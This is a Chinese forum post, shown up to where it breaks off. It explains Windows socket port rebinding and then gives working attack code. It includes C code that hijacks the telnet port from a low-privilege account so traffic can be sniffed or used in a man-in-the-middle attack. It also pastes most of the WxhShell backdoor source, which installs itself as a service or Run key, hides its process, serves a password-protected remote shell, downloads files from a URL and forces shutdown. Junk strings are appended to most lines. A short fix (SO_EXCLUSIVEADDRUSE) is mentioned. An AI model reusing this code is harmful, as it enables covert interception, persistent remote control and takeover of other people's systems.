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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >6Y @8 )  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tu5g> qb  
" pg5w  
  saddr.sin_family = AF_INET; ~e|RVY,  
9:DT+^BB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3K;V3pJ].  
O52B  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 73Zx`00  
* {avx  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8 5 L<  
GkwdBy+  
  这意味着什么?意味着可以进行如下的攻击: /!7    
F9ytU>zh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %y96]e1  
e}f#dR+(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7+!FZo{?  
dC'8orFG+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `O+}$wP  
Dq07Z^#'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F,dPmR  
&`@S_YLr  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {lam],#r  
:.DZ~I  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >m:;. vVY  
]|m?pt  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nXU`^<nA  
u[:-^H  
  #include hFMJDGCw>Q  
  #include ke2zxX2 f  
  #include ;H' ,PjU  
  #include    _*l+ze[a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   '6g;UOx^=  
  int main() lJHU1 gu  
  { qjr:(x/  
  WORD wVersionRequested; S_eD1iY2-  
  DWORD ret; 84f(BE  
  WSADATA wsaData; d/"%fpp^0G  
  BOOL val; 7sX#6`t  
  SOCKADDR_IN saddr; CMhl*dH  
  SOCKADDR_IN scaddr; *A&A V||q  
  int err; PF+F^;C  
  SOCKET s; @23?II$=@  
  SOCKET sc; I K9plsd*  
  int caddsize; ,=a+;D]'  
  HANDLE mt; ]F{F+r  
  DWORD tid;   $)YalZ  
  wVersionRequested = MAKEWORD( 2, 2 ); "xI70c{  
  err = WSAStartup( wVersionRequested, &wsaData ); '048Qykt;  
  if ( err != 0 ) { t6q7 w  
  printf("error!WSAStartup failed!\n"); tZXq<k9  
  return -1; (Sv=R(_s  
  } \sn wR  
  saddr.sin_family = AF_INET; O#_\@f#[  
    l;;,[xhq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 UuKW`(?^  
QBYY1)6S,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1La?x'{2MP  
  saddr.sin_port = htons(23); V3S"LJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a S;z YD  
  { PIHix{YR  
  printf("error!socket failed!\n"); <)$e*HrI  
  return -1; XQ'$J_hC  
  } <`V_H~Z  
  val = TRUE; ([ jm=[E^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !U7}?i&H  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mI,a2wqi  
  { rff_=(?i  
  printf("error!setsockopt failed!\n"); >6KwZr BB  
  return -1; aCRiW;+'  
  } Mdw"^x$7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~hxW3e  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 SgWLs%B  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 x%yzhIRR  
xeB-fy)5+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) []-<-TqJ  
  { 5_\1f|,  
  ret=GetLastError(); 1rIL[(r4  
  printf("error!bind failed!\n"); J4]tT pu"K  
  return -1; !59,<N1Iu  
  } L9]y~[R:  
  listen(s,2); -5b#w"^w^  
  while(1) 1f+z[ad&^  
  { no$X0ia  
  caddsize = sizeof(scaddr); ^\oMsU5(  
  //接受连接请求 &s8vmUt  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); C14"lB.  
  if(sc!=INVALID_SOCKET) 3o2x&v  
  { /[qLf:rGI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #e[S+a  
  if(mt==NULL) 2Rqpok4  
  { Ofc u4pi  
  printf("Thread Creat Failed!\n"); $ba*=/{[q  
  break; 782 oXyD  
  } #[&9~za'"m  
  } (GoxiX l  
  CloseHandle(mt); kr\#CW0?  
  } Bdcs}Ga  
  closesocket(s); Q5&|1m Pb  
  WSACleanup(); ctoh&5%!n+  
  return 0; W %1/: _  
  }   |fB/hs \  
  DWORD WINAPI ClientThread(LPVOID lpParam) l(pP*2  
  { 6`@6k2]  
  SOCKET ss = (SOCKET)lpParam; @rv)J[7Y&  
  SOCKET sc; q%/\  
  unsigned char buf[4096]; ?BX}0RWMh7  
  SOCKADDR_IN saddr; '};mBW4z  
  long num; \Ez&?yb/  
  DWORD val; E#E&z(G2  
  DWORD ret; ^U6VJ(58P  
  //如果是隐藏端口应用的话,可以在此处加一些判断 A6 I^`0/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @8Cja.H  
  saddr.sin_family = AF_INET; 4nXemU=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'Yaq; mDY  
  saddr.sin_port = htons(23); %KPQ|^WE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F@KtRUxE  
  { Gs>4/  
  printf("error!socket failed!\n"); bt"5.nm  
  return -1; !ir%Pz ^)  
  } Elt" tJ  
  val = 100; 9+b){W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j|>^wB  
  {  e**5_L  
  ret = GetLastError(); _Qq lOc9  
  return -1; q26 qY5D  
  } u"F{cA!B  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9aYVbq""  
  { q>6RO2,  
  ret = GetLastError(); GF36G?iEi  
  return -1; "[sr0'g:  
  } vs{VRc  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )m I i.  
  { ,va2:V  
  printf("error!socket connect failed!\n"); ~uG/F?= Q:  
  closesocket(sc); 5~OKKSUmT  
  closesocket(ss); Jv8VM\ *  
  return -1; `NQ;|!  
  } y~z&8XrH  
  while(1) mMT\"bb'  
  { .dn#TtQv  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 or"9I1o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 u p]>UX8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g)}q3-<AK>  
  num = recv(ss,buf,4096,0); hGI5^!Cq  
  if(num>0) k_nQmU>  
  send(sc,buf,num,0); \'&,9lP  
  else if(num==0) R*H-QH/H1  
  break; bduHYs+rq  
  num = recv(sc,buf,4096,0); hb(H-`16  
  if(num>0) xg4wtfAbS  
  send(ss,buf,num,0); (/S6b  
  else if(num==0) +1a2Un  
  break; 5'[yw:P-8  
  } )1g\v8XT  
  closesocket(ss); $,o@&QT?AT  
  closesocket(sc); v <m=g!  
  return 0 ; DG,m;vg+  
  } '8LHX6FXK  
6%V#_]  
paUJq?Af  
========================================================== zhh6;>P  
z`YAOhD*h4  
下边附上一个代码,,WXhSHELL ) >N=B2P  
lI3d _cU  
========================================================== YpvFv-  
/PpZ6ne~ [  
#include "stdafx.h" [;#^h/5E  
xs?]DJj  
#include <stdio.h> D7Ds*X`!l  
#include <string.h> g(R!M0hdF  
#include <windows.h> 'X~CrgQl  
#include <winsock2.h> JHuA}f{2&  
#include <winsvc.h> aN';_tGvK  
#include <urlmon.h> } : T }N]  
gu1n0N`b  
#pragma comment (lib, "Ws2_32.lib") !N/?b^y  
#pragma comment (lib, "urlmon.lib") 0IQ|`C.  
]{AHKyA{:  
#define MAX_USER   100 // 最大客户端连接数 {~V_6wY g  
#define BUF_SOCK   200 // sock buffer X=VaBy4#  
#define KEY_BUFF   255 // 输入 buffer y(j vl|z[  
A QPzId*z  
#define REBOOT     0   // 重启 6-\C?w A  
#define SHUTDOWN   1   // 关机 }7i}dyQv}  
k~]\kv=  
#define DEF_PORT   5000 // 监听端口 w69G6G(  
[bEm D  
#define REG_LEN     16   // 注册表键长度 0C717  
#define SVC_LEN     80   // NT服务名长度 n*hRlL  
MNX-D0`g  
// 从dll定义API 6W'2w?qj?4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N8Un42  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `nL^]i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }b>e lz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V_9> Z?  
a61?G!]  
// wxhshell配置信息 Q[bIkvr|  
struct WSCFG { }S9uh-j6l  
  int ws_port;         // 监听端口 % %QAC4  
  char ws_passstr[REG_LEN]; // 口令 u]<`y6=&C  
  int ws_autoins;       // 安装标记, 1=yes 0=no Jh%k:TrBm  
  char ws_regname[REG_LEN]; // 注册表键名 nVk]Qe  
  char ws_svcname[REG_LEN]; // 服务名 PU%WpI.w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &.:yP3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;{rl Y>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X6oY-4O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'x= y:0A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #Y>d@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w*AXD!}  
9z(h8H  
}; m A|"  
cKAZWON8;v  
// default Wxhshell configuration j*jq2u  
struct WSCFG wscfg={DEF_PORT, #~[mn_C  
    "xuhuanlingzhe", <PQ[N[SU  
    1, (d-j/v*4  
    "Wxhshell", `=#ry*E^:  
    "Wxhshell", nHB`<B  
            "WxhShell Service", yXA]E.K!  
    "Wrsky Windows CmdShell Service", Xqas[:)7+  
    "Please Input Your Password: ", }q~xr3#  
  1, MM Nz2DEy[  
  "http://www.wrsky.com/wxhshell.exe", JmVha!<qk  
  "Wxhshell.exe" ;%PdSG=U  
    }; B'D 4]EB  
\8S HX  
// 消息定义模块 WR>2t&;E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,DbT4Ul c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eC-nV)]I9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sJYs{Wm  
char *msg_ws_ext="\n\rExit."; /J'dG%  
char *msg_ws_end="\n\rQuit."; A\<WnG>xjP  
char *msg_ws_boot="\n\rReboot..."; Y&DC5T]  
char *msg_ws_poff="\n\rShutdown..."; fpvzx{2  
char *msg_ws_down="\n\rSave to "; E %> ){Y)  
_:l<4u !  
char *msg_ws_err="\n\rErr!"; HltURTbI  
char *msg_ws_ok="\n\rOK!"; q,eXH8 x  
ACxjY2  
char ExeFile[MAX_PATH]; [es-&X07<  
int nUser = 0; yO0 9NQ 5u  
HANDLE handles[MAX_USER]; 5P <  F  
int OsIsNt; agW#"9]WM  
zf^F.wW  
SERVICE_STATUS       serviceStatus; ;hp?wb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ppM^&6x^  
K\>CXa  
// 函数声明 4S#q06=Xe  
int Install(void); !P b39[f  
int Uninstall(void); 'D;'Pr]  
int DownloadFile(char *sURL, SOCKET wsh); y-CVyl  
int Boot(int flag); %+Khj@aX  
void HideProc(void); 4U1"F 7'  
int GetOsVer(void); <ba+7CK] w  
int Wxhshell(SOCKET wsl); u<{uUui}$v  
void TalkWithClient(void *cs); )*3sE1  
int CmdShell(SOCKET sock); VR_bX|  
int StartFromService(void); 3:WXrOl  
int StartWxhshell(LPSTR lpCmdLine); qbe9 CF'@_  
1~P ^ g`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \muC_9ke  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )|@UY(VZ^  
c{t(),nAA  
// 数据结构和表定义 (T0%H<#+  
SERVICE_TABLE_ENTRY DispatchTable[] = p![CH  
{ &za~=+  
{wscfg.ws_svcname, NTServiceMain}, yasKU6^R'  
{NULL, NULL} gT6@0ANq  
}; .EUOKPK4W  
K%"cVqb2V  
// 自我安装 1~#p3)B  
int Install(void) - '5OX/Szq  
{ /.aDQ>  
  char svExeFile[MAX_PATH]; +EBoFeeIG  
  HKEY key; :V#W y  
  strcpy(svExeFile,ExeFile); x?|   
P9D'L{yS/x  
// 如果是win9x系统,修改注册表设为自启动 ?#917M  
if(!OsIsNt) { ~V4&l3o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y(RK|r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ka\%kB>*`  
  RegCloseKey(key); 3#H x^H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @rVBL<!o,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {?9s~{Dl  
  RegCloseKey(key); ! G+/8Q^  
  return 0; Q!VPk~~(  
    } 7)Rx-  
  } Y-WY Q{  
} -*EK-j  
else { +}@HtjM  
VJeN m3WNb  
// 如果是NT以上系统,安装为系统服务 cHMS[.=;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y+tXWN"8  
if (schSCManager!=0) Y@Kp'+t(!  
{ m ,U`hPJ  
  SC_HANDLE schService = CreateService z_p/.kQ'5  
  ( *tda_B 2  
  schSCManager, vWwnC)5  
  wscfg.ws_svcname, a|im DY_-j  
  wscfg.ws_svcdisp, @E$PjdB5M  
  SERVICE_ALL_ACCESS, $Y4;Xe=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )5j%."  
  SERVICE_AUTO_START, dEp?jJP$;  
  SERVICE_ERROR_NORMAL, +)fl9>Mb  
  svExeFile, !:mo2zA  
  NULL, ` `A=p<W  
  NULL, rs R0V+(W  
  NULL, /*bS~7f1  
  NULL, ?Q]{d'g(sx  
  NULL Kj_hCSvf3e  
  ); _azg 0.)  
  if (schService!=0) /0mbG!Ac  
  { +BRmqJ3  
  CloseServiceHandle(schService); B&`hvR  
  CloseServiceHandle(schSCManager); PQRh5km  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G8lR_gD"!  
  strcat(svExeFile,wscfg.ws_svcname); ~Cj55S+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V(Ps6jR"BS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \gL H_$}  
  RegCloseKey(key); 3~4e\xL  
  return 0; 451r!U1Z  
    } 4l$(#NB<  
  } HhaUC?JtSK  
  CloseServiceHandle(schSCManager); q@p-)+D;  
} ! \H!9FR  
} "K z=Z C  
2Ek6YNx  
return 1; 2hRaYX,g  
} \z<B=RT\  
v3+ \A q   
// 自我卸载 g@.RfX=  
int Uninstall(void) DLkNL?a  
{ _gB`;zo  
  HKEY key; lu(<(t,Lbs  
EW{z?/  
if(!OsIsNt) { +xwz.:::  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W$0<a@  
  RegDeleteValue(key,wscfg.ws_regname); fi%u]  
  RegCloseKey(key); |Q^Z I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3Bz0B a  
  RegDeleteValue(key,wscfg.ws_regname); RV|: mI  
  RegCloseKey(key); Gv}*T w$  
  return 0; Pt?]JJxl-  
  } DEaO= p|  
} Te~"\`omJ3  
} jBV2]..  
else { uRQm.8b  
SU9#Y|I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Pn5@7~  
if (schSCManager!=0) lC +p2OG^[  
{ o*\kg+8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T"'"T]^ X  
  if (schService!=0) `/<KDd:_t  
  { h FP$MFab  
  if(DeleteService(schService)!=0) { S?%V o* Y  
  CloseServiceHandle(schService); 8h~v%aZ1  
  CloseServiceHandle(schSCManager); uRKCvsisX  
  return 0; n\5` JNCb  
  } sf]y\_zU  
  CloseServiceHandle(schService); #"6(Q2| l  
  } EW1 L!3K  
  CloseServiceHandle(schSCManager); s@f4f__(]  
} l0g#&V--  
} rB|D^@mG  
7Rj!vj/  
return 1; ,*r"cmz  
} gqJ&Q t#f  
%FQMB  
// 从指定url下载文件 %lV&QQa  
int DownloadFile(char *sURL, SOCKET wsh) %L{H_;z  
{ K GkzE  
  HRESULT hr; kqSCKY1  
char seps[]= "/"; {SW104nb&#  
char *token; |,5b[Y"Dt  
char *file; 4-=>># P  
char myURL[MAX_PATH]; \w^iSK-  
char myFILE[MAX_PATH]; t-lWvxXe  
%WCA?W0:4  
strcpy(myURL,sURL); Vf*!m~]Vqi  
  token=strtok(myURL,seps); y%=\E  
  while(token!=NULL) +M (\R?@gr  
  { /H@k;o  
    file=token; <dDGV>n4;  
  token=strtok(NULL,seps); } O9q$-8!  
  } OibW8A4Z1  
, Z#t-?  
GetCurrentDirectory(MAX_PATH,myFILE); \*!?\Ko`W  
strcat(myFILE, "\\"); 3`J?as@^8  
strcat(myFILE, file); @ h([c  
  send(wsh,myFILE,strlen(myFILE),0); }.4`zK&SB  
send(wsh,"...",3,0); KSuP'.l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FgNO#%  
  if(hr==S_OK) W{Ie(hf  
return 0; jwTb09  
else D*`|MzlQ  
return 1; ;or(:Yoc-  
`Te n2(D  
} Wk'KN o  
abWmPi  
// 系统电源模块 rZe"*$e  
int Boot(int flag) IO`.]iG  
{ ,y3o ,gl  
  HANDLE hToken; 57)S"  
  TOKEN_PRIVILEGES tkp; s7SW4ff1  
4kNf4l9Y  
  if(OsIsNt) { BkJV{>?_+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w]UYD;f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3ZU`}  
    tkp.PrivilegeCount = 1; \S}&QV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &m`1lxT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vML01SAi  
if(flag==REBOOT) { ,2[laJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Tm_AoZH  
  return 0; sZPPS&KoP3  
} /lm;.7_J+  
else { K-)_1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q>%KIBh(  
  return 0; wtetB')yD  
} VCcLS3  
  } `z-4OJ8~  
  else { ]/HSlT=  
if(flag==REBOOT) { 2K!3+D"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #SQT!4  
  return 0; 4s^5t6  
} -wC;pA#o  
else { z6B/H2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '[~NRKQJ  
  return 0; utQE$0F  
} nE+sbfC   
} *pk*ijdB  
Q{UR3U'Q  
return 1; Zb8Ty~.\P  
} F5wCl2I  
_$NFeqLww  
// win9x进程隐藏模块 j@v*q\X&  
void HideProc(void) IaH8#3+a  
{ C&,&~^_F  
x<"1T w5e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  ^vYH"2  
  if ( hKernel != NULL ) ]=2Ba<)m  
  { b~Op1p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f`.8.1Rd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O>w Gc8Of\  
    FreeLibrary(hKernel); `ndesP  
  } xSs);XO,  
IwKhun  
return; ^L+*}4Dr  
} b>hNkVI  
-f#0$Z/0  
// 获取操作系统版本 "8&pT^  
int GetOsVer(void) 7!#x-KR~5  
{ 0_}OKn)J  
  OSVERSIONINFO winfo; (\, <RC\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?5Wjy  
  GetVersionEx(&winfo); yaMNt}y-q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6,G1:BV{K  
  return 1; wxkCmrV  
  else  nk>  
  return 0; 3DV';  
} .|JJyjRA+  
v98=#k!F  
// 客户端句柄模块 xM8}Xo  
int Wxhshell(SOCKET wsl) fB:9:NX  
{ hq6fDRO/4  
  SOCKET wsh; 1Zx|SBF  
  struct sockaddr_in client; aA-A>z  
  DWORD myID; 4!i`9w$$"  
u01 'f-h  
  while(nUser<MAX_USER) sD7Qt  
{ L$cNxz0$  
  int nSize=sizeof(client); #M$[C d I$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Jor >YB`X  
  if(wsh==INVALID_SOCKET) return 1; -ZlBg~E  
zIi|z}WJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TUIj-HSe  
if(handles[nUser]==0) bTHKMaGWC  
  closesocket(wsh); c$rkbbf~V  
else dQYb)4ir  
  nUser++; ^ ~:f02[D  
  } gD3s,<>o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Gi~p-OS,  
]@Y8! ,  
  return 0; b4Br!PL@G  
} 5B#q/d1/a  
ah1d0e P  
// 关闭 socket G+stt(k:  
void CloseIt(SOCKET wsh) mp!KPw08':  
{ <{bQl L  
closesocket(wsh); U s86.@|  
nUser--; klxVsx%I{G  
ExitThread(0); f_}/JF  
} ];Z)=y,vM  
<gF=$u|}3[  
// 客户端请求句柄 P9p:x6  
void TalkWithClient(void *cs) SUINV_>7  
{ !Y>lAxd  
6v (}<2~  
  SOCKET wsh=(SOCKET)cs; 9 [v=`  
  char pwd[SVC_LEN]; X^ckTIdR  
  char cmd[KEY_BUFF]; 8W#/=Xh?  
char chr[1]; dqnH7okZ  
int i,j; y  >r7(qg  
n$ $^(-g@)  
  while (nUser < MAX_USER) { lqn7$  
{a\O7$A\F  
if(wscfg.ws_passstr) { 5ppOG_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'MRvH lCM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $}_N379&  
  //ZeroMemory(pwd,KEY_BUFF); G# gUd'=M  
      i=0; Oi AZA<  
  while(i<SVC_LEN) { e:fp8 k<  
PElC0 qCn[  
  // 设置超时 <cNXe4(  
  fd_set FdRead; NUbw]Y90~  
  struct timeval TimeOut; <nlZ?~%}  
  FD_ZERO(&FdRead); _BO:~x  
  FD_SET(wsh,&FdRead); LSQWveZz  
  TimeOut.tv_sec=8; 59!yz'feF  
  TimeOut.tv_usec=0; t ~ruP',~\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gyj.M`+y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y=g9 wO  
Z"#eN(v.N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l9KL P  
  pwd=chr[0]; }IO<Dq=[  
  if(chr[0]==0xd || chr[0]==0xa) { Se<]g$eK?5  
  pwd=0; +PgUbr[p  
  break; 5LdVcXf  
  } :,g nOfV=  
  i++; m^0r9y,  
    } Oo |*q+{  
w F6ywr  
  // 如果是非法用户,关闭 socket v,y nz'>)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2+zE|I.  
} (DJLq  
:Rv ?>I j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r8g4NsRVtv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vw5f.8T;w  
Z:DEET!c'k  
while(1) { RO[Ko-m|/N  
ph{p[QI:{X  
  ZeroMemory(cmd,KEY_BUFF); $&~/`MxE  
O4RNt,?l  
      // 自动支持客户端 telnet标准   ~\kJir  
  j=0; EBlfwFd  
  while(j<KEY_BUFF) { W&CQ87b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <k?ofE1o  
  cmd[j]=chr[0]; b~fX=!M  
  if(chr[0]==0xa || chr[0]==0xd) { ]x1MB|a6  
  cmd[j]=0; W,"|([t4.\  
  break; 9zSHn.y  
  } 1c_gh12  
  j++; q9fCoz  
    } ?T=] ?[  
B?A c  
  // 下载文件 KwK[)Cvv  
  if(strstr(cmd,"http://")) { x{{QS$6v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !$Aijd s5  
  if(DownloadFile(cmd,wsh)) @)s;u}H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ot}fGiio  
  else )OQhtxK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WeDeD\zy  
  } h07Z.q ;  
  else { L1=3_fO  
L08>9tf`  
    switch(cmd[0]) { Y$xO&\&)  
  d\aKGq;8C  
  // 帮助 u>c\J|K_V  
  case '?': { 9rXbv4{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^2f'I iE  
    break; 7jvy]5y8&~  
  } 8 2qf7`  
  // 安装 NbOeF7cq+  
  case 'i': { L#sw@UCK  
    if(Install()) \{r-e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ft%HWGE  
    else vzV,} S*c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !w iW#PR  
    break; U |I>CDp  
    } S Y\ UuZ  
  // 卸载 2WQKj9iyN  
  case 'r': { A{\#.nC/z  
    if(Uninstall()) zRTR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :#D?b.=  
    else 5\93-e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s2f9 5<B  
    break; }$M 2XF  
    } '=MaO@ @  
  // 显示 wxhshell 所在路径 fxfzi{}uj  
  case 'p': { ,XT#V\qne  
    char svExeFile[MAX_PATH]; nk.Y#+1)  
    strcpy(svExeFile,"\n\r"); A4LGF  
      strcat(svExeFile,ExeFile); Z$ qFjWp  
        send(wsh,svExeFile,strlen(svExeFile),0); 3t<XbHF9  
    break; U'^AJ2L8  
    } +5J"G/f  
  // 重启 [h>|6%sW  
  case 'b': { <$\vL   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LhM{LUi  
    if(Boot(REBOOT)) 6k6M&a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D|-^}I4  
    else { x._IP,vRx^  
    closesocket(wsh); sYV7t*l  
    ExitThread(0); <p@c %e,_  
    } XL[/)lX{  
    break; (vte8uQe  
    } bqug o  
  // 关机 s2Gi4fY?  
  case 'd': { UeWEncN(  
